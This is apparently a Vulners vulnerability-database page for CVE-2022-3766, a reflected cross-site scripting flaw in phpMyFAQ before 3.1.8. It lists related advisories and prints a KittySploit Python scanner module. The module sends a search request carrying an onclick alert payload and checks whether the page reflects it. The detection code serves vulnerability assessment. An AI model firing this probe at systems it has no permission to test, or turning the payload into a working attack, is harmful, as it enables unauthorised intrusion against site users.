phpMyFAQ < 3.1.8 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2022-3766 | 31 Oct 202211:15 | – | attackerkb | |
| CVE-2022-3766 | 31 Oct 202213:37 | – | circl | |
| phpMyFAQ 跨站脚本漏洞 | 31 Oct 202200:00 | – | cnnvd | |
| CVE-2022-3766 | 31 Oct 202200:00 | – | cve | |
| CVE-2022-3766 Cross-site Scripting (XSS) - Reflected in thorsten/phpmyfaq | 31 Oct 202200:00 | – | cvelist | |
| Reflect Cross Site Scripting when search | 20 Oct 202208:50 | – | huntr | |
| phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS) | 2 Dec 202500:00 | – | exploitdb | |
| phpMyFAQ vulnerable to reflected Cross-site Scripting | 31 Oct 202212:00 | – | github | |
| CVE-2022-3766 | 31 Oct 202200:00 | – | mend | |
| phpMyFAQ < 3.1.8 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ versions prior to 3."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'phpMyFAQ < 3.1.8 - Cross-Site Scripting Detection',
'description': "phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users' browsers.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'phpmyfaq', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://huntr.dev/bounties/d9666520-4ff5-43bb-aacf-50c8e5570983',
'https://github.com/thorsten/phpMyFAQ/commit/c7904f2236c6c0dd64c2226b90c30af0f7e5a72d',
'https://nvd.nist.gov/vuln/detail/CVE-2022-3766',
],
'cve': 'CVE-2022-3766',
}
def run(self):
r = self.http_request(method="GET", path="/index.php?search=1af%22+onclick%3D'alert(document.domain)'", allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('value="1af" onclick=\'alert(document.domain)\'',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="phpMyFAQ < 3.1.8 - Cross-Site Scripting detected",
path="/index.php?search=1af%22+onclick%3D'alert(document.domain)'",
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.16.1
CVSS 37.3
EPSS0.06478
SSVC